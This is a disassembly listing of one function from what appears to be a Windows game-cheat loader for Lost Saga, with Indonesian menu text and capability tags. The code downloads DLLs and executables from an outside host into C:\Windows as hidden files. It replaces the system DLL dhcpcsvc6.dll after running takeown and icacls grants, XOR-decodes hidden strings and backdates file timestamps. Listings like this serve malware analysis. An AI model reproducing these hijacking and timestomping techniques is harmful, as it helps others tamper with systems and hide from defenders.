Function at 0x403050
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Delete file
Execute command
Get file attributes
Hide graphical window
Move file
Set console window title
Set file attributes
Terminate process
Timestomp file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x44d927
mov eax, dword fs:[0]
push eax
sub esp, 0x188
mov eax, dword [0x45e380]
xor eax, esp
mov dword [esp + 0x180], eax
push ebx
push esi
push edi
mov eax, dword [0x45e380]
xor eax, esp
push eax
lea eax, [esp + 0x198]
mov dword fs:[0], eax
mov edi, dword [ebp + 0xc]
push str.color_a1
call dword [sym.imp.MSVCR100.dll_system]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push str.Loading..._n
push eax
call fcn.004055d0
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.004055d0
add esp, 0x10
mov esi, 0x1a
lea ebx, [ebx]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffb1
push edx
call fcn.00405870
add esp, 8
dec esi
jne 0x4030d0
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45addc
push eax
call fcn.004055d0
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push ecx
call fcn.004055d0
lea ebx, [esi + 0x1a]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffdb
push edx
call fcn.00405870
add esp, 8
push 0x32
call esi
fld qword [0x45b4e8]
xor ecx, ecx
inc ecx
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcomp st(1)
fnstsw ax
test ah, 0x41
jnp 0x40312e
dec ebx
fstp st(0)
jne 0x403111
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [esp + 0x28]
add esp, 4
push ecx
call dword [sym.imp.MSVCR100.dll__localtime64]
add esp, 4
push 0x100
mov dword [esp + 0x18], eax
call fcn.0044c786
add esp, 4
push str.autoupgrade.exe
call fcn.004028d0
add esp, 4
push str.lostsaga.exe
call fcn.004028d0
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 4
push str.C:Windowsiconcache_kr.dll
call ebx
push str.C:WindowsMP.exe
call ebx
push str.C:Windowshost.exe
call ebx
push str.C:Windowsui.db
call ebx
push str.ogg.dll
call ebx
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
mov edx, str.xz.dll
mov ecx, str.https:__eclipse_panel.com_DLL_Library_LSO_rpc.dll
call fcn.00402ee0
push 1
push str.C:Windowsui.db
push str.xz.dll
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [edi]
mov ecx, esi
mov dword [esp + 0x178], 0xf
mov dword [esp + 0x174], 0
mov byte [esp + 0x164], 0
lea edi, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403210
sub ecx, edi
mov eax, esi
mov edi, ecx
lea esi, [esp + 0x164]
call fcn.004011f0
push 4
mov edx, esi
push edx
mov dword [esp + 0x1a8], 0
call fcn.00401160
cmp eax, 0xffffffff
jne 0x403251
push 4
mov eax, str..exe
mov ecx, esi
call fcn.00404170
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xc8
call esi
push 1
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
push 0x96
call esi
mov edi, 0x3c
mov eax, str.aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsSuUvVwWxXyYzZ1234567890
lea esi, [esp + 0x120]
mov dword [esp + 0x134], 0xf
mov dword [esp + 0x130], 0
mov byte [esp + 0x120], 0
call fcn.004011f0
push 0x96
mov byte [esp + 0x1a4], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
lea ecx, [ecx]
mov edi, dword [esp + 0x130]
call dword [sym.imp.MSVCR100.dll_rand]
xor edx, edx
div edi
cmp dword [esp + 0x134], 0x10
mov eax, dword [esp + 0x120]
jae 0x4032f9
lea eax, [esp + 0x120]
mov al, byte [edx + eax]
mov byte [esp + esi + 0x180], al
inc esi
cmp esi, 0xf
jl 0x4032d0
lea ecx, [esp + 0x180]
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov edx, dword [str..exe]
mov al, byte [0x45aeb0]
push 0x96
mov dword [esp + 0x1c], edx
mov byte [esp + 0x20], al
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
mov esi, eax
jmp 0x403340
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403340
lea edi, [esp + 0x180]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x403351
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x45acf4
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCR100.dll_system]
mov eax, dword [esp + 0x168]
add esp, 4
cmp dword [esp + 0x178], 0x10
jae 0x40338d
lea eax, [esp + 0x164]
lea ecx, [esp + 0x180]
push ecx
push eax
call dword [sym.imp.MSVCR100.dll_rename]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x1f4
call esi
push str.xz.dll
call ebx
mov edi, dword [sym.imp.MSVCR100.dll_printf]
push str.1._Cheat_LSO_External_n2._Cheat_LSO_Manual_Map_n3._Cheat_LSO_Internal_n4._Check_HWID_n5._Cheat_Private_LS__Exotic__Sejenisnya__Internal_LS_n6._Cheat_Private_LS__Exotic__Sejenisnya__Non_Internal_n7._Uniinstall_Cheat_LSO_Internal_nPilih_:
call edi
add esp, 4
lea edx, [esp + 0x20]
push edx
push 0x45acb4
call dword [sym.imp.MSVCR100.dll_scanf]
mov eax, dword [esp + 0x28]
add esp, 8
cmp eax, 1
jne 0x40358f
push str.Cheat_Sedang_Update_n
call edi
add esp, 4
mov dword [esp + 0xd4], 0x6f636975
mov dword [esp + 0xd8], 0x6c642e6d
mov word [esp + 0xdc], 0x6c
lea edx, [esp + 0xd4]
mov ecx, str.https:__eclipse_panel.com_DLL_Library_LSO__icon_cache_kr__.db
mov byte [esp + 0x1a0], 2
call fcn.00402ee0
push 1
mov byte [esp + 0x1a4], 1
push str.C:Windowsiconcache_kr.dll
lea eax, [esp + 0xdc]
push eax
mov dword [esp + 0xe0], 0x6f636975
mov dword [esp + 0xe4], 0x6c642e6d
mov word [esp + 0xe8], 0x6c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x64
call esi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x3e8
call esi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea ecx, [esp + 0xd4]
push ecx
mov dword [esp + 0xd8], 0x6f636975
mov dword [esp + 0xdc], 0x6c642e6d
mov word [esp + 0xe0], 0x6c
call ebx
push str.C:Windowshost.exe
lea edx, [esp + 0x30]
push edx
call fcn.00404260
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [esp + 0x14]
mov dx, word [ecx + 0xc]
mov word [esp + 0xe6], dx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0xe4]
push eax
mov dword [esp + 0xe8], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x18]
push ecx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call esi
push str.Jalankan_Game_Lost_Saga__
call edi
add esp, 4
lea esp, [esp]
call fcn.004029a0
test eax, eax
je 0x403570
call fcn.00402510
push 0x64
push 0x320
call esi
push 0
call dword [sym.imp.MSVCR100.dll_exit]
cmp eax, 7
jne 0x403630
push str.1._Buka_CMD_Run_Administrator_n2._Ketik_sfc__scannow_n3._Tunggu_sampai_selesai
call edi
add esp, 4
call dword [sym.imp.MSVCR100.dll__getch]
push str.lostsaga.exe
call fcn.004028d0
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov esi, 0x10
add esp, 4
cmp dword [esp + 0x134], esi
jb 0x4035d6
mov ecx, dword [esp + 0x120]
push ecx
call edi
add esp, 4
mov dword [esp + 0x134], 0xf
mov dword [esp + 0x130], 0
mov byte [esp + 0x120], 0
cmp dword [esp + 0x178], esi
jb 0x40360a
mov edx, dword [esp + 0x164]
push edx
call edi
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x198]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x180]
xor ecx, esp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
cmp eax, 3
jne 0x403b36
push 0xbb8
call esi
push 0x45acf4
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push str.Cheat_Sedang_Melakukan_Update__n
call edi
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
push str.Loading..._n
push edx
call fcn.004055d0
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push eax
call fcn.004055d0
add esp, 0x10
mov edi, 0x1a
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffb1
push ecx
call fcn.00405870
add esp, 8
dec edi
jne 0x403681
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45addc
push edx
call fcn.004055d0
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x45a9ec
push eax
call fcn.004055d0
add esp, 0x10
mov edi, 0x1a
mov edi, edi
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xffffffffffffffdb
push ecx
call fcn.00405870
add esp, 8
push 0xc8
call esi
fld qword [0x45b4e8]
xor ecx, ecx
inc ecx
mov dword [esp + 0x14], ecx
fild dword [esp + 0x14]
fcomp st(1)
fnstsw ax
test ah, 0x41
jnp 0x4036e0
dec edi
fstp st(0)
jne 0x4036c0
push 0x45acf4
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push str.dhcpcsvc6.dll
call ebx
push str.C:Windowsiconcache_kr.dll
call ebx
mov edx, str.dhcpcsvc6.dll
mov ecx, str.https:__eclipse_panel.com_DLL_Library_LSO_dhcpcsvc6.dll
call fcn.00402ee0
mov edx, str.C:Windowsiconcache_kr.dll
mov ecx, str.https:__eclipse_panel.com_DLL_Library_LSO__icon_cache_kr__.db
call fcn.00402ee0
push 0x64
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.C:WindowsSysWOW64_
call esi
cmp eax, 0xffffffff
je 0x403912
test al, 0x10
je 0x403912
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
mov edi, 0x2b
mov eax, str.takeown__f_C:WindowsSysWOW64dhcpcsvc.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3c
mov eax, str.icacls_C:WindowsSysWOW64dhcpcsvc.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:WindowsSysWOW64dhcpcsvc6_o.dll
call ebx
push str.C:WindowsSysWOW64dhcpcsvc6_ori.dll
call ebx
mov eax, 0xa5
xor esi, esi
jmp 0x4037d0
mov dl, byte [esi + 0x45b174]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x13c], dl
jns 0x4037ee
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x23
jl 0x4037d0
mov byte [esp + 0x15f], 0
mov eax, 0xc9
xor esi, esi
mov cl, byte [esi + 0x45b198]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], cl
jns 0x403821
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403803
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
lea edx, [esp + 0x140]
push edx
lea eax, [esp + 0x104]
push eax
mov byte [esp + 0x129], 0
call edi
mov eax, 0x12
xor esi, esi
mov cl, byte [esi + str.Q_HB]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x13c], cl
jns 0x40386e
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x25
jl 0x403850
mov byte [esp + 0x161], 0
mov eax, 0xc9
xor esi, esi
mov dl, byte [esi + 0x45b198]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], dl
jns 0x4038a1
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403883
lea eax, [esp + 0x13c]
push eax
lea ecx, [esp + 0x100]
push ecx
mov byte [esp + 0x125], 0
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
mov eax, 0xc9
xor esi, esi
nop
mov dl, byte [esi + 0x45b198]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], dl
jns 0x4038ee
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x4038d0
lea eax, [esp + 0xfc]
push eax
mov byte [esp + 0x121], 0
call ebx
push 1
push str.C:WindowsSysWOW64dhcpcsvc6.dll
jmp 0x403adf
push str.C:WindowsSystem32_
call esi
cmp eax, 0xffffffff
je 0x403b02
test al, 0x10
je 0x403b02
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x2c
mov eax, str.takeown__f_C:WindowsSystem32dhcpcsvc6.dll
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
mov esi, esp
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov edi, 0x3d
mov eax, str.icacls_C:WindowsSystem32dhcpcsvc6.dll__grant_Everyone:F__T
mov dword [esp + 0x30], esp
mov byte [esi], 0
call fcn.004011f0
call fcn.004027d0
add esp, 0x1c
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.C:WindowsSystem32dhcpcsvc6_o.dll
call ebx
push str.C:WindowsSystem32dhcpcsvc6_ori.dll
call ebx
mov eax, 0xa0
xor esi, esi
mov cl, byte [esi + 0x45b230]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x13c], cl
jns 0x4039c1
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x23
jl 0x4039a3
mov byte [esp + 0x15f], 0
mov eax, 0xb9
xor esi, esi
mov dl, byte [esi + 0x45b254]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], dl
jns 0x4039f4
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x4039d6
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
lea eax, [esp + 0x140]
push eax
lea ecx, [esp + 0x104]
push ecx
mov byte [esp + 0x129], 0
call edi
mov eax, 0xbe
xor esi, esi
mov dl, byte [esi + 0x45b278]
xor dl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0x13c], dl
jns 0x403a41
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x25
jl 0x403a23
mov byte [esp + 0x161], 0
mov eax, 0xb9
xor esi, esi
mov cl, byte [esi + 0x45b254]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], cl
jns 0x403a74
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403a56
lea edx, [esp + 0x13c]
push edx
lea eax, [esp + 0x100]
push eax
mov byte [esp + 0x125], 0
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
mov eax, 0xb9
xor esi, esi
mov cl, byte [esi + 0x45b254]
xor cl, al
inc eax
and eax, 0x800000ff
mov byte [esp + esi + 0xfc], cl
jns 0x403ac0
dec eax
or eax, 0xffffff00
inc eax
inc esi
cmp esi, 0x21
jl 0x403aa2
lea edx, [esp + 0xfc]
push edx
mov byte [esp + 0x121], 0
call ebx
push 1
push str.C:WindowsSystem32dhcpcsvc6.dll
push str.dhcpcsvc6.dll
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.dhcpcsvc6.dll
call ebx
push 2
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push str.Cheat_Sudah_Di_install_n
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
push 0x1388
call esi
push 0x1f4
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x4035a8
cmp eax, 6
jne 0x403cd6
push str.Cheat_Sedang_Update_n
call edi
add esp, 4
mov dword [esp + 0xd4], 0x6f636975
mov dword [esp + 0xd8], 0x6c642e6d
mov word [esp + 0xdc], 0x6c
lea edx, [esp + 0xd4]
mov ecx, str.https:__eclipse_panel.com_DLL_Library_Exotic_ogg.def
mov byte [esp + 0x1a0], 5
call fcn.00402ee0
push 1
mov byte [esp + 0x1a4], 1
push str.C:Windowsiconcache_kr.dll
lea eax, [esp + 0xdc]
push eax
mov dword [esp + 0xe0], 0x6f636975
mov dword [esp + 0xe4], 0x6c642e6d
mov word [esp + 0xe8], 0x6c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x64
call esi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x3e8
call esi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea ecx, [esp + 0xd4]
push ecx
mov dword [esp + 0xd8], 0x6f636975
mov dword [esp + 0xdc], 0x6c642e6d
mov word [esp + 0xe0], 0x6c
call ebx
push str.C:Windowshost.exe
lea edx, [esp + 0x30]
push edx
call fcn.00404260
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [esp + 0x14]
mov dx, word [ecx + 0xc]
mov word [esp + 0xe6], dx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0xe4]
push eax
mov dword [esp + 0xe8], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x18]
push ecx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call esi
push str.Jalankan_Game_Lost_Saga__
call edi
add esp, 4
call fcn.004029a0
test eax, eax
je 0x403cc8
jmp 0x403579
cmp eax, 2
jne 0x403e1f
push str.Cheat_Sedang_Update_n
call edi
add esp, 4
mov edx, str.Manual_Map.exe
mov ecx, str.https:__eclipse_panel.com_DLL_Library_LSO__ManualMap__.exe
call fcn.00402ee0
push 1
push str.C:WindowsMP.exe
push str.Manual_Map.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push str.C:Windowsiconcache_kr.dll
call edi
push 0x64
call esi
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call edi
push 0x3e8
call esi
push str.xz.dll
call ebx
push str.Manual_Map.exe
call ebx
lea edx, [esp + 0xd4]
push edx
mov dword [esp + 0xd8], 0x6f636975
mov dword [esp + 0xdc], 0x6c642e6d
mov word [esp + 0xe0], 0x6c
call ebx
push str.C:Windowshost.exe
lea eax, [esp + 0x30]
push eax
call fcn.00404260
lea ecx, [esp + 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xe6], ax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xe4]
push ecx
mov dword [esp + 0xe8], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.C:Windowshost.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x18]
push edx
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Beep]
push 0x64
push 0x320
call esi
push str.start_C:WindowsMP.exe
call dword [sym.imp.MSVCR100.dll_system]
add esp, 4
push 0x1f4
jmp 0x403580
cmp eax, 5
jne 0x404027
push 0x45acf4
call dword [sym.imp.MSVCR100.dll_system]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
add esp, 4
push 4
push 0x45b344
push str._Yes__Install_n_No__Uniinstall
push 0
call esi
push str.ogg.dll
cmp eax, 6
jne 0x403f5c
call ebx
push str.Cheat_Sedang_Install_n
call edi
add esp, 4
mov edx, str.ogg.dll
mov ecx, str.https:__eclipse_panel.com_DLL_Library_Exotic_ogg.def
call fcn.00402ee0
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push str.ogg.dll
call edi
mov ecx, str.RAJEF
sub ecx, 0x2161eb2d
lea eax, [esp + 0xd4]
call fcn.00405a70
push eax
call ebx
push 1
push str.C:Windowshost.exe
push str.host.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push str.C:Windowshost.exe
call edi
push str.ogg.dll
lea eax, [esp + 0x30]
push eax
call fcn.00404260
lea ecx, [esp + 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xe6], ax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xe4]
push ecx
mov dword [esp + 0xe8], 0x107e4
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x18]
push edx
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x45b344
push str.Klik_OK_Lalu_Jalankan_LostSaga_Private
push 0
call esi
jmp 0x403587
call ebx
push str.Cheat_Sedang_Uniinstall_n
call edi
add esp, 4
mov edx, str.ogg.dll
mov ecx, str.https:__eclipse_panel.com_DLL_Library_Exotic_ogg.dll
call fcn.00402ee0
push 2
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.ogg.dll
lea eax, [esp + 0x30]
push eax
call fcn.00404260
lea ecx, [esp + 0xe0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, dword [esp + 0x14]
mov ax, word [edx + 0xc]
mov word [esp + 0xe6], ax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xe4]
push ecx
mov dword [esp + 0xe8], 0x707e9
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0x80
push 3
push 0
push 3
push 0x100
push str.ogg.dll
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x18]
push edx
push 0
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0x45a9ec
push str.Berhasil_di_Lepaskan
push 0
call esi
jmp 0x403587
cmp eax, 4
jne 0x4035a8
push 0x418
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
add esp, 4
test eax, eax
je 0x40404c
mov dword [eax], 0
mov ecx, eax
jmp 0x40404e
xor ecx, ecx
call fcn.00402440
mov eax, 0x45f178
mov dword [esp + 0x150], 0xf
mov dword [esp + 0x14c], 0
mov byte [esp + 0x13c], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404080
sub eax, edx
mov edi, eax
mov eax, 0x45f178
lea esi, [esp + 0x13c]
call fcn.004011f0
lea eax, [esp + 0xe0]
mov byte [esp + 0x1a0], 8
call fcn.00402e30
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
mov eax, 0x45f178
mov byte [esp + 0x1c0], 9
call fcn.00405820
add esp, 4
lea edi, [esp + 0x118]
call fcn.00406530
add esp, 0x1c
mov byte [esp + 0x1a0], 0xb
cmp dword [esp + 0xf4], 0x10
jb 0x404101
mov eax, dword [esp + 0xe0]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov edi, esp
mov ecx, 7
lea esi, [esp + 0x118]
push str._nHWID_1_:__s_n_nKASIH_KE_RESELLER
mov dword [esp + 0x114], 0xf
mov dword [esp + 0x110], 0
mov byte [esp + 0x100], 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
mov edi, esp
mov ecx, 7
lea esi, [esp + 0x118]
push str._nHWID_1_:__s_n_nKASIH_KE_RESELLER
rep movsd dword es:[edi], dword [esi]
call fcn.00402ac0
push str.start_Log.ini
call dword [sym.imp.MSVCR100.dll_system]
add esp, 0x24
jmp 0x403587